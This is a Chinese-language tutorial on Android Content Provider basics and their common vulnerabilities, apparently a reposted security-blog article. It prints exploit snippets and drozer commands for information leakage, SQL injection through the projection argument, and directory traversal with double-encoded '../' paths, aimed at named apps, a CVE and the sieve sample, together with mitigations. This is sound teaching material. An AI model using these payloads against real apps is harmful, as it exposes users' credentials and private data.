<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    Android APP漏洞之戰——Content Provider漏洞詳解

    VSole2021-10-20 16:41:09

    前言

    今天總結Android APP四大組件中Content Provider挖掘的知識,主要分為兩個部分,一部分是對Android Content Provider內容提供器的原理總結,另一部分便是對Android provider機制常見的一些漏洞總結,包括一些已知的漏洞方法,和一部分案例實踐。

    Content Provider初步介紹

    1、Content Provider的基本原理



    (1)Content Provider簡介

    Android中的數據存儲方式:Shared Preferences、網絡存儲、文件存儲、外部存儲、SQLite,這些存儲方式一般在單獨的應用程序中實現數據共享,對于不同應用之間共享數據,就要借助Content Provider。

    ContentProvider為存儲和讀取數據提供了統一的接口,使用表的形式來對數據進行封裝,使用ContentProvider可以在不同的應用程序之間共享數據,統一數據的訪問方式,保證數據的安全性。

    (2)Content Provider作用

     

     

    Content Provider可以使得不同APP進程之間進行數據交互和共享,即跨進程通信。

    (3)URI詳解

    我們創建一個Content Provider,其他的應用可以通過使用ContentResolver來訪問ContentProvider提供的數據,而ContentResolver通過uri來定位自己要訪問的數據,所以我們要先了解URI

    URI:

    URI的介紹:

    (1)定義:Uniform Resource Identifier,即統一資源標識符。

    (2)作用:唯一標識ContentProvider &其中的數據。

    (3)外界進程通過URL找到對應的ContentProvider &其中數據,再進行數據操作。

    (1)標準前綴:content:// ,用來說明一個Content Provider控制這些數據。

    (2)URL的標識:com.carson.provider, 用于唯一標識這個ContentProvider,外部調用者可以根據這個標識來找到它。對于第三方程序,為了保證URL標識的一致性,必須是一個完整的、小寫的類名,這個標識在元素的authorities屬性中說明,一般是定義該ContentProvider的包.類的名稱。

    (3)路徑:User,要操作的數據庫中表的名字,或者可以自己定義,記得在使用的時候保持一致。

    (4)記錄ID:id, 如果URL中包含表示需要獲取的記錄ID,則返回該id對應的數據,如果沒有ID,就表示返回全部。

    構建URI的路徑:

    (1)操作User表中id為11的記錄,構建數據:/User/11

    (2)操作User表中id為11的記錄的name字段:User/11/name

    (3)操作User表中的所有記錄:/User

    (4)操作來自文件、xml或網絡其他存儲方式的數據,如要操作xml文件中User節點下的name字段:/User/name

    (5)若要將一個字符串轉換成URI,可以使用Uri類中的parse()方法:

       Uri uri = Uri.parse("content://com.carson.provider/User")

    URI各部分的獲取:

    我們給出一個URI的樣例:

    http://www.baidu.com:8080/wenku/jiatiao.html?id=123456&name=jack

    我們介意使用一些方法來獲取URI的各個部分:

    getScheme():獲取 Uri 中的 scheme 字符串部分,在這里是 httpgetHost():獲取 Authority 中的 Host 字符串,即 www.baidu.comgetPost():獲取 Authority 中的 Port 字符串,即 8080getPath():獲取 Uri 中 path 部分,即 wenku/jiatiao.htmlgetQuery():獲取 Uri 中的 query 部分,即 id=15&name=jack
    
    MIME:

    MIME是指定某個擴展名的文件用一種應用程序打開,就像用瀏覽器查看PDF格式的文件,瀏覽器會選擇合適的應用打開。ContentProvider 會根據 URI 來返回 MIME 類型,ContentProvider 會返回一個包含兩部分的字符串。

    MIME 類型一般包含兩部分,如:

    text/htmltext/csstext/xmlapplication/pdf
    

    分為類型和子類型,Android 遵循類似的約定來定義MIME類型,每個內容類型的 Android MIME 類型有兩種形式:多條記錄(集合)和單條記錄。

    • 集合記錄(dir):
    vnd.android.cursor.dir/自定義
    
    • 單條記錄(item):
    vnd.android.cursor.item/自定義
    

    vnd 表示這些類型和子類型具有非標準的、供應商特定的形式。Android中類型已經固定好了,不能更改,只能區別是集合還是單條具體記錄,子類型可以按照格式自己填寫,在使用 Intent 時,會用到 MIME,根據 Mimetype 打開符合條件的活動。

    URI解析:

    這里URI代表要操作的數據,我們在對數據進行獲取時需要解析URI,Android提供了兩個操作URI的工具類:UriMatcher 和 ContentUris。

    UriMatcher:

    UriMatcher類用于匹配Uri,使用步驟如下:

    • 將需要匹配的Uri路徑進行注冊:
    //常量UriMatcher.NO_MATCH表示不匹配任何路徑的返回碼UriMatcher  sMatcher = new UriMatcher(UriMatcher.NO_MATCH);//如果match()方法匹配“content://com.wang.provider.myprovider/tablename”路徑,返回匹配碼為1sMatcher.addURI("content://com.wang.provider.myprovider", " tablename ", 1);//如果match()方法匹配content://com.wang.provider.myprovider/tablename/11路徑,返回匹配碼為2sMatcher.addURI("com.wang.provider.myprovider", "tablename/#", 2);
    

    此處采用 addURI 注冊了兩個需要用到的 URI;注意,添加第二個 URI 時,路徑后面的 id 采用了通配符形式 “#”,表示只要前面三個部分都匹配上了就 OK。

    補充:

    *:表示匹配任意長度的任意字符#:表示匹配任意長度的數字匹配任意表的內容URI格式:content://com.example.app.provider/*匹配table表中1任意一行數據的內容URI格式:content://com.example.app.procider/table/#
    
    • 注冊完需要匹配的 Uri 后,可以使用 sMatcher.match(Uri) 方法對輸入的 Uri 進行匹配,如果匹配就返回對應的匹配碼,匹配碼為調用 addURI() 方法時傳入的第三個參數。
    switch (sMatcher.match(Uri.parse("content://com.zhang.provider.yourprovider/tablename/100"))) {    case 1:      //match 1, todo something      break;    case 2      //match 2, todo something      break;    default:      //match nothing, todo something     break;}
    

    ContentUris:

    ContentUris類用于操作Uri路徑后面的ID部分,有兩個比較實用的方法:withAppendedId(Uri uri, long id)和parseId(Uri uri)。

    • withAppendedId(Uri uri, long id)用于為路徑加上ID部分:
    Uri uri = Uri.parse("content://com.wang.provider.myprovider/tablename");//生成的Uri為:content://com.wang.provider.myprovider/tablename/10 Uri resultUri = ContentUris.withAppendedId(uri, 10);
    
    • parseId(Uri uri)則從路徑中獲取ID部分:
    Uri uri = Uri.parse("content://com.zhang.provider.myprovider/tablename/10")//獲取的結果為:7long personid = ContentUris.parseId(uri);
    

    (4)Content Provider數據共享

    ContentProvider是一個抽象類,我們需要開發自己的內容提供者就需要繼承這個類并復寫其方法:

    ContentProvider 類主要方法的介紹:public boolean onCreate(),在ContentProvider創建后就會被調用,而ContentProvider是在其它應用第一次訪問它時被創建;public Uri insert(Uri uri, ContentValues values),供外部應用向ContentProvider添加數據;public int delete(Uri uri, String selection, String[] selectionArgs),供外部應用從ContentProvider刪除數據;public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs),供外部應用更新ContentProvider中的數據;public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder),供外部應用從ContentProvider中獲取數據;public String getType(Uri uri),返回當前Uri所代表數據的MIME類型;
    

    如果操作的數據屬于集合類型,那么 MIME 類型字符串應該以 vnd.android.cursor.dir/ 開頭:

    要得到所有 tablename 記錄:Uri 為 content://com.wang.provider.myprovider/tablename,那么返回的MIME類型字符串應該為vnd.android.cursor.dir/table
    

    如果要操作的數據屬于非集合類型數據,那么 MIME 類型字符串應該以 vnd.android.cursor.item/ 開頭:

    要得到 id 為 10 的 tablename 記錄,Uri 為 content://com.wang.provider.myprovider/tablename/10,那么返回的 MIME 類型字符串為:vnd.android.cursor.item/tablename
    

    (5)Content Resolver操作數據

    當外部應用需要對ContentProvider中的數據進行添加、刪除、修改及查詢操作時,可以使用ContentResolver類來完成,要獲取ContentResolver對象,可以使用Activity提供getContentResolver()。

    ContentResolver類提供了與ContentProvider類相同簽名的四個方法:

    public Uri insert(Uri uri, ContentValues values),往ContentProvider添加數據;
    public int delete(Uri uri, String selection, String[] selectionArgs),從ContentProvider刪除數據;
    public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs),更新ContentProvider中的數據;
    public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder),從ContentProvider中獲取數據;
    

    這些方法的第一個參數為Uri,代表要操作的ContentProvider和對其中的什么數據進行操作,其實和ContentProvider里面的方法是一樣的,最終會被傳到我們之前程序里面定義的ContentProvider方法。

    假定給定的是:Uri.parse("content://com.wang.provider.myprovider/tablename/10"),那么將會對主機名為com.wang.provider.myprovider的ContentProvider進行操作,操作的數據為tablename表中id為10的記錄
    

    使用ContentResolver對ContentProvider中的數據進行操作:

    ContentResolver resolver = getContentResolver(); Uri uri = Uri.parse("content://com.wang.provider.myprovider/tablename"); //添加一條記錄 ContentValues values = new ContentValues(); values.put("name", "wang1"); values.put("age", 28); resolver.insert(uri, values); //獲取tablename表中所有記錄 Cursor cursor = resolver.query(uri, null, null, null, "tablename data");while(cursor.moveToNext()){   Log.i("ContentTest", "tablename_id="+ cursor.getInt(0)+ ", name="+ cursor.getString(1));}//把id為1的記錄的name字段值更改新為zhang1ContentValues updateValues = new ContentValues();updateValues.put("name", "zhang1");Uri updateIdUri = ContentUris.withAppendedId(uri, 2);resolver.update(updateIdUri, updateValues, null, null);//刪除id為2的記錄,即字段ageUri deleteIdUri = ContentUris.withAppendedId(uri, 2);resolver.delete(deleteIdUri, null, null);
    

    監聽數據變化:

    如果ContentProvider的訪問者需要知道數據發生的變化,可以在ContentProvider發生數據變化時調用getContentResolver().notifyChange(uri, null)來通知注冊在此URI上的訪問者。只給出類中監聽部分的代碼:

    public class MyProvider extends ContentProvider {   public Uri insert(Uri uri, ContentValues values) {     db.insert("tablename", "tablenameid", values);      getContext().getContentResolver().notifyChange(uri, null);   }}
    

    而訪問者必須使用ContentObserver對數據(數據采用uri描述)進行監聽,當監聽到數據變化通知時,系統就會調用ContentObserver的onChange()方法:

    getContentResolver().registerContentObserver(Uri.parse("content://com.ljq.providers.personprovider/person"),        true, new PersonObserver(new Handler())); public class PersonObserver extends ContentObserver{     public PersonObserver(Handler handler) {       super(handler);     }     public void onChange(boolean selfChange) {        //to do something     } }
    

    (6)Content Provider使用

    創建內容提供者的基本流程:

    (1)創建一個擴展ContentProviderbaseclass的 Content Provider 類。

    (2)定義將用于訪問內容的內容提供者 URI 地址。

    (3)創建自己的數據庫來保存內容。通常,Android 使用 SQLite 數據庫,框架需要覆蓋onCreate()方法,該方法將使用 SQLite Open Helper 方法創建或打開提供者的數據庫。當您的應用程序啟動時,其每個內容提供程序的onCreate()處理程序在主應用程序線程上被調用。

    (4)實現內容提供者查詢以執行不同的數據庫特定操作。

    (5)最后使用 標簽在您的活動文件中注冊您的內容提供者。

    2、Content Provider漏洞的種類和危害

    Content Provoder漏洞大致可以分為:

    Content Provider漏洞的危害:

    Android中Content Provider起到在不同的進程APP之間實現共享數據的作用,通過Binder進程間通信機制以及匿名共享內存機制來實現,但是考慮到數據的安全性,我們需要設置一定的保護權限。

    Binder進程間通信機制突破了以應用程序為邊界的權限控制,是安全可控的,數據的訪問接口由數據的所有者來提供,數據提供方實現安全控制,決定數據的讀寫操作。

    而content Provider組件本身提供了讀取權限控制,這導致在使用過程中就會存在一些漏洞。

    Content Provider漏洞原理分析和復現

    1、漏洞挖掘方法

    先檢測組件的exported屬性,再檢測組件permission、readPermission、writePermissio對應的protectionlevel,最后再檢測sdk版本。

     

    (1)查找導出Provider

    ①反編譯 apk 文件,在AndroidManifest.xml中查找顯示設置了android:exported="true"Content Provider。

    ②使用drozer工具,執行命令:run app.provider.info -a ddns.android.vuls。

    (2)查找URI

    • 反編譯apk文件,在代碼中查找UriMatcher.addURI,并手動拼接uri。

    如上,可以拼接出:

    content://ddns.vuls.AccountProvider/accountcontent://ddns.vuls.AccountProvider/account/content://ddns.vuls.AccountProvider/account/1content://ddns.vuls.AccountProvider/account/aaa
    
    • 使用drozer工具
    執行命令 run app.provider.finduri ddns.android.vuls
    

    (3)方法使用

    1.使用adb shell查詢例子:adb shell content query --uri 具體uri2.使用drozer驗證例子:run app.provider.query "具體uri"3.編寫目標代碼例如:private void getyouni(){    int i = 0;    ContentResolver contentresolver=getContentResolver();    String[] projection={"* from contacts--"};    Uri uri =Uri.parse("content://com.snda.youni.providers.DataStructs/message_ex");    Cursor cursor=contentresolver.query(uri.projection,null,null,null);    String text="";    while(cursor.moveToNext()){        text+=cursor.getString(cursor.getColumnIndex("display_name"))+"";    }    Log.i("TEST",text);}
    

    我們下面將結合這三種方法來對一些常見的案例進行漏洞挖掘介紹。

    2、信息泄露漏洞

    (1)原理介紹

    content URI是一個標志provider中的數據的URI。Content URI中包含了整個provider的以符號表示的名字(它的authority)和指向一個表的名字(一個路徑)。當你調用一個客戶端的方法來操作一個,provider中的一個表,指向表的contentURI是參數之一,如果對ContentProvider的權限沒有做好控制,就有可能導致惡意的程序通過這種方式讀取APP的敏感數據。

    (2)漏洞復現

    案例1:盛大有你Android存在信息泄露漏洞

    目標代碼:

    攻擊代碼:

    private void getyouni(){    int i = 0;    ContentResolver contentresolver=getContentResolver();    String[] projection={"* from contacts--"};    Uri uri =Uri.parse("content://com.snda.youni.providers.DataStructs/message_ex");    Cursor cursor=contentresolver.query(uri.projection,null,null,null);    String text="";    while(cursor.moveToNext()){        text+=cursor.getString(cursor.getColumnIndex("display_name"))+"";    }    Log.i("TEST",text);}
    

    代碼分析:

    我們可以分析目標程序的provider的進程名和授權的的URI,我們可以根據授權的URI來構建一個URI,然后通過contentresolver去讀取里面的的列表名信息,這樣我們就可以獲取APP中的隱私數據信息。

    案例2:樣例sieve.apk

    我們先向apk中添加一條數據,然后保存:

    我們先使用drozer對內容提供器的路徑進行掃描:

    run scanner.provider.finduris -a <包名>
    

    報錯:drozer could not find or compile a required extension library

    這是由于我們drozer2.7中代碼導致的,我們需要修改相應的代碼,參考網址(https://github.com/FSecureLABS/drozer/issues/361 )

    我們可以對敏感數據讀取:

    run app.provider.query uri
    

    我們就成功的將我們剛才保存的賬號密碼信息給獲取了。

    案例3:CVE-2018-9546: Download Provider文件頭信息泄露

    漏洞描述:

    Download Provider運行app獲取下載的http請求頭,但理論上APP只能訪問自己下載的文件的http請求頭,但Download Provider沒有做好權限配置,導致heads可以被任意讀取。header中會保存一些敏感數據,例如cookie等。

    目標代碼:

    讀取header的URI為:content://download/mydownloads/download_id/headers
    

    攻擊代碼:

    Uri uri = Uri.parse("content://download/mydownloads/1493/headers");Cursor cur = res.query(uri, null, null, null, null);
    try {    if (cur != null && cur.getCount() > 0) {        StringBuilder sb = new StringBuilder(LOG_SEPARATOR);        sb.append("HEADERS FOR DOWNLOAD ID ").append(id).append("");        while (cur.moveToNext()) {            String rowHeader = cur.getString(cur.getColumnIndex("header"));            String rowValue = cur.getString(cur.getColumnIndex("value"));            sb.append(rowHeader).append(": ").append(rowValue).append("");        }        log(sb.toString());    }} finally {    if (cur != null)        cur.close();}
    

    由于header的URI并未做一些防護措施,我們可以將download_id取具體的值,然后來獲取里面的具體信息。

    (3)安全防護

    ① minSdkVersion不低于9。

    ②不向外部app提供數據的私有content provider顯示設置exported=”false”,避免組件暴露(編譯api小于17時更應注意此點)。

    ③內部app通過content provid交換數據時,設置protectionLevel=”signature”驗證簽名。

    ④公開的content provider確保不存儲敏感數據。

    針對權限保護繞過防御措施:

    ①使用Context.checkCallingPermission()和Context.enforceCallingPermission()來確保調用者擁有相應的權限,防止串謀攻擊(confused deputy)。

    ②可以使用如下函數,獲取應用的permission保護級別是否與系統中已定義的permission保護級別一致。如果不一致,則拋出異常。

    3、SQL注入漏洞

    (1)原理介紹

    對Content Provider進行增刪改查操作時,程序沒有對用戶的輸入進行過濾,未采用參數化查詢的方式,可能會導致sql注入攻擊。

    所謂的SQL注入攻擊指的是攻擊者可以精心構造selection參數、projection參數以及其他有效的SQL語句組成部分,實現在未授權的情況下從Content Provider獲取更多信息。應該避免使用SQLiteDatabase.rawQuery()進行查詢,而應該使用編譯好的參數化語句。

    使用預編譯好的語句比如SQLiteStatement,不僅可以避免SQL注入,而且操作性能也大幅提高,因為其不用每次執行都進行解析。

    另外一種方式是使用query(),insert(),update(),和delete()方法,因為這些函數也提供了參數化的語句。預編譯的參數化語句,問號處可以插入或者使bindString()綁定值。從而避免SQL注入攻擊。

    (2)漏洞復現

    案例1:安全管家客戶端存在SQL注入攻擊

    漏洞說明:

    Android版安全管家客戶端contentprovider uri配置不當,導致sql注入,使得任何應用可不需要root權限下,獲得和修改數據庫中數據。

    Androidmanifest文件中定義的provider:

    使用drozer掃描客戶端程序存在的contentProvider uri:

    搜索到對外暴露可訪問的uri:

    newapp.db結構:

    查看新安裝應用的包名:

    查看白名單:

    案例2:樣本sieve

    我們使用drozer掃描注入的位置:

    run scanner.provider.injection -a <包名>
    

    然后我們執行以下命令,發現返回了報錯信息,接著構造sql獲取敏感數據。

    run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection " * from Key;--+"
    

    列出所有表信息:

    run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"
    

    獲取具體表信息:

    run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"
    

    列出該app的表信息:

    run scanner.provider.sqltables -a  com.mwr.example.sieve
    

    案例3:CVE-2018-9493: Download Provider SQL注入

    漏洞分析:

    Download Provider中的以下columns是不允許被外部訪問的,例如CookieData,但是利用SQL注入漏洞可以繞過這個限制。

    projection參數存在注入漏洞,結合二分法可以爆出某些columns字段的內容。

    目標代碼:

    攻擊代碼:

    詳細可以參考該作者博客:(https://mabin004.github.io/2019/04/15/Android-Download-Provider%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/)

    (3)安全防護

    ①實現健壯的服務端校驗。

    ②使用參數化查詢語句,比如SQLiteStatement。

    ③避免使用rawQuery()。

    ④過濾用戶的輸入。

    4、目錄遍歷漏洞

    (1)原理介紹

    Android Content Provider存在文件目錄遍歷安全漏洞,該漏洞源于對外暴露Content Provider組件的應用,沒有對Content Provider組件的訪問進行權限控制和對訪問的目標文件的Content Query Uri進行有效判斷,攻擊者利用該應用暴露的Content Provider的openFile()接口進行文件目錄遍歷以達到訪問任意可讀文件的目的。

    漏洞觸發的前提條件:

    對外暴露的Content Provider組件實現了openFile()接口;

    沒有對所訪問的目標文件Uri進行有效判斷,如沒有過濾限制如“../”可實現任意可讀文件的訪問的Content Query Uri。

    (2)漏洞復現

    案例1:趕集網Android客戶端Content Provider組件任意文件讀取漏洞(http://wy.zone.ci/bug_detail.php?wybug_id=wooyun-2013-044407)

    漏洞分析:

    趕集網客戶端APP的實現中定義了一個可以訪問本地文件的Content Provider組件,默認的android:exported="true",對應com.ganji.android.jobs.html5.LocalFileContentProvider,該Provider實現了openFile()接口,通過此接口可以訪問內部存儲app_webview目錄下的數據,由于后臺未能對目標文件地址進行有效判斷,可以通過"../"實現目錄跨越,實現對任意私有數據的訪問(當然,也可以訪問任意外部存儲數據,只是我們更關心私有敏感數據)。

    攻擊代碼:

    public void GJContentProviderFileOperations(){    try{        InputStream in = getContentResolver().openInputStream(Uri.parse("content://com.ganji.html5.localfile.1/webview/../../shared_prefs/userinfo.xml"));        ByteArrayOutputStream out = new ByteArrayOutputStream();        byte[] buffer = new byte[1024];        int n = in.read(buffer);        while(n>0){            out.write(buffer, 0, n);            n = in.read(buffer);            Toast.makeText(getBaseContext(), out.toString(), Toast.LENGTH_LONG).show();        }    }catch(Exception e){        debugInfo(e.getMessage());    }}
    

    案例2:樣本sieve

    我們檢測文件遍歷漏洞:

    run scanner.provider.traversal -a <包名>
    

    我們讀取系統文件:

    run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
    

    我們下載系統文件:

    run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db f:/home/database.db
    

    案例3:

    目標代碼:

    private static String IMAGE_DIRECTORY=localFile.getAbsolutePath();public ParcelFileDescriptor openFile(Uri paramUri,String paramString);throws FileNotFoundException{    File file=new File(IMAGE_DIRECTORY,paramUri.getLastPathSegment());    return ParcelFileDescriptor.open(file,ParcelFileDescriptor.MODE_READ_ONLY);}
    

    我們可以從目標代碼中分析,這段代碼使用android.net.Uri.getLastPathSegment()從paramUri中獲取文件名,然后將其放置在預定義好的目錄IMAGE_DIRECTORY中,如果該URL是encoded編碼后的,那么將可能導致目錄遍歷漏洞。

    Android4.3開始,Uri.getLastPathSegment()內部實現調用Uri.getPathSegments()。

    Uri.getPathSegments()部分代碼片段: PathSegments getPathSegments(){    if(pathSegments!=null){        return pathSegments;    }    String path = getEncoded();    if(path==null){        return pathSegments = PathSegments.EMPTY;    }    PathSegmentsBuilder segmentBuilder=new PathSegmentsBuilder();    int previous =0;    int current;    while((current=path.indexOf('/',previous))>-1){        if(previous            String decodedSegment=decode(path.substring(previous,current));            segmentBuilder.add(decodedSegment);        }        previous=current+1;    }    if(previous        segmentBuilder.add(decode(path.substring(preyious)));    }    return pathSegments=segmentBuilder.build();}
    

    Uri.getPathSegments首先會通過getEncoded()獲取一個路徑,然后以”/“為分隔符將path分成片段,最后調用decode()方法解碼。

    假如我們傳遞encoded編碼后的url給getLastPathSegment(),編碼后的分隔符就變成了%2F,繞過了內部的分割規則,那么返回的就可能不是真正想要的文件了。這是API設計方面的問題,直接導致了目錄遍歷漏洞。

    public String getLastPathSegment(){    List segments=getPathSegments();    int size=segments.size();    if(size==0){        return null;    }    return segments.get(size-1);}
    

    為了避免這種情況導致的目錄遍歷漏洞,開發者應該在傳遞給getLastPathSegment()之前解碼,采用調用兩次getLastPathSegment()方法的方式,第一次調用是為了解碼,第二次調用期望得到正確的值這一部分大家可以詳細參考博客:(https://tea9.xyz/post/758430476.html)

    private static String IMAGE_DIRECTORY=localFile.getAbsolutePath();    public ParcelFileDescriptor openFile(Uri paramUri,String paramString) throws FileNotFoundException{        File file=new File(IMAGE_DIRECTORY,Uri.parse(paramUri.getLastPathSegment()).getLastPathSegment());        return ParcelFileDescriptor.open(file,ParcelFileDescriptor.MODE_READ_ONLY);    }
    這個編碼后的URL: ..%2F..%2F..%2Fdata%2Fdata%2Fcom.example.android.app%2Fshared_prefs%2FExample.xml  第一次調用getLastPathSegment(),會返回../../../data/data/com.example.android.app/shared_prefs/Example.xml。  第二次調用getLastPathSegment()會返回Example.xml 
    然而攻擊者可以采用一種叫做"Double Encoding"的技術,使得第一次調用getLastPathSegment()后無法解碼。
    比如下面經過double encoded后的string就可以繞過上面這種防御
    %252E%252E%252F%252E%252E%252F%252E%252E%252Fdata%252Fdata%252Fcom.example.android.app%252Fshared_prefs%252FExample.xml
    第一次解碼后: %2E%2E%2F%2E%2E%2F%2E%2E%2Fdata%2Fdata%2Fcom.example.android.app%2Fshared_prefs%2FExample.xml
    第二次解碼后: ../../../data/data/com.example.android.app/shared_prefs/Example.xml仍會導致目錄遍歷。所以簡單的解碼后再傳人也是不夠的,仍然需要嚴格校驗以確保path是期望的路徑。
    

    (3)安全防護

    ① 將不必要導出的Content Provider設置為不導出。

    ② 去除沒有必要的openFile()接口。

    ③ 過濾限制跨域訪問,對訪問的目標文件的路徑進行有效判斷。

    ④ 設置權限來進行內部應用通過Content Provider的數據共享。

    實驗總結

    本文對Content Provider內容提供器的基本原理做了一個詳細講解,然后對Provider常見的一些漏洞情況作了分析,這里面一部分漏洞來自于漏洞平臺,一部分來自于網上的博客收集總結,還提供了一個樣例sieve.apk,初步的實現信息泄露、SQL注入、目錄遍歷漏洞的基本操作方式,也介紹了一般挖掘provider漏洞的基本方法。

    其中關于drozer的具體操作使用,大家可以參考之前的博客:Android漏洞挖掘三板斧——drozer+Inspeckage(Xposed)+MobSF(https://bbs.pediy.com/thread-269196.htm),當然可能對于Provider中的漏洞介紹還不是很全面,其他的就請各位大佬指正了。

    參考文獻

    Content Provider原理介紹

    https://www.cnblogs.com/tgyf/p/4696288.html

    https://www.jianshu.com/p/5e13d1fec9c9

    https://www.cnblogs.com/huansky/p/13785634.html

    http://www.tutorialspoint.com/android/android_content_providers.htm

    Content Provider漏洞挖掘

    https://tea9.xyz/post/758430476.html

    https://ayesawyer.github.io/2019/08/21/Android-App%E5%B8%B8%E8%A7%81%E5%AE%89%E5%85%A8%E6%BC%8F%E6%B4%9E/

    https://wy.zone.ci/bug_detail.php?wybug_id=wooyun-2015-0156386

    http://www.feidao.site/wordpress/?p=3295

    http://www.hackdig.com/03/hack-19497.htm

    https://mabin004.github.io/2019/04/15/Android-Download-Provider%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/

    漏洞挖掘drozer
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    最近在學習Android APP客戶端漏洞挖掘過程中,對Android APP端漏洞挖掘做了一個基本的梳理總結本節主要是在介紹Android APP漏洞挖掘過程中,使用常見的Android漏洞挖掘工具的安裝和使用辦法,幫助Android漏洞挖掘人員提供便利。本文里面一部分的介紹采摘與網絡博客,大家可以點擊對應的網址進行查看。
    Activity漏洞挖掘詳解
    2021-10-18 16:22:12
    2Activity漏洞初步介紹1.Activity基本介紹在學習Activity的漏洞挖掘之前,我們先對Activity的基本運行原理有一個初步的認識。
    前言今天總結Android APP四大組件中Content Provider挖掘的知識,主要分為兩個部分,一部分是對Android Content Provider內容提供器的原理總結,另一部分便是對Android provider機制常見的一些漏洞總結,包括一些已知的漏洞方法,和一部分案例實踐。
    看雪論壇作者ID:隨風而行aa
    未正確驗證用戶輸入的應用程序使它們容易受到 SQL 注入的攻擊。SQL 注入攻擊 發生在攻擊者能夠通過操縱用戶輸入數據將一系列惡意 SQL 語句插入“查詢”以供后端數據庫執行時。使用這種類型的威脅,應用程序可以很容易地被黑客入侵并被攻擊者竊取機密數據。
    0x01 確定目標無目標隨便打,有沒有自己對應的SRC應急響應平臺不說,還往往會因為一開始沒有挖掘漏洞而隨意放棄,這樣往往不能挖掘到深層次的漏洞。所以在真的想要花點時間在SRC漏洞挖掘上的話,建議先選好目標。0x02 確認測試范圍前面說到確定測什么SRC,那么下面就要通過一些方法,獲取這個SRC的測試范圍,以免測偏。
    漏洞挖掘工具—afrog
    2023-03-20 10:20:07
    -t http://example.com -o result.html2、掃描多個目標 afrog -T urls.txt -o result.html例如:urls.txthttp://example.comhttp://test.comhttp://github.com3、測試單個 PoC 文件 afrog?-t http://example.com -P ./testing/poc-test.yaml -o result.html4、測試多個 PoC 文件 afrog?
    但又沒登錄怎么獲取的當前用戶的Access-Reset-Ticket真相只有一個,看看接口哪里獲取到的原來是在輸入要找回的用戶就會獲取當前用戶的Access-Reset-Ticket6到了,開發是我大哥嘗試修改可行,修改管理員賬號,然后起飛下機。漏洞已修復,廠商也修復了漏洞更新到了最新版本。
    漏洞挖掘是指對應用程序中未知漏洞的探索,通過綜合應用各種技術和工具,盡可能地找出其中的潛在漏洞。cookie的key為RememberMe,并對相關信息進行序列化,先使用aes加密,然后再使用base64編碼處理形成的。在網上關于Shiro反序列化的介紹很多,我這里就只簡單介紹一下,詳情各位可以看下大神們對其源碼的分析。
    這里建議doc文檔,圖片可以貼的詳細一些。爆破完好了,一樣的6。想給它一個清晰完整的定義其實是非常困難的。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类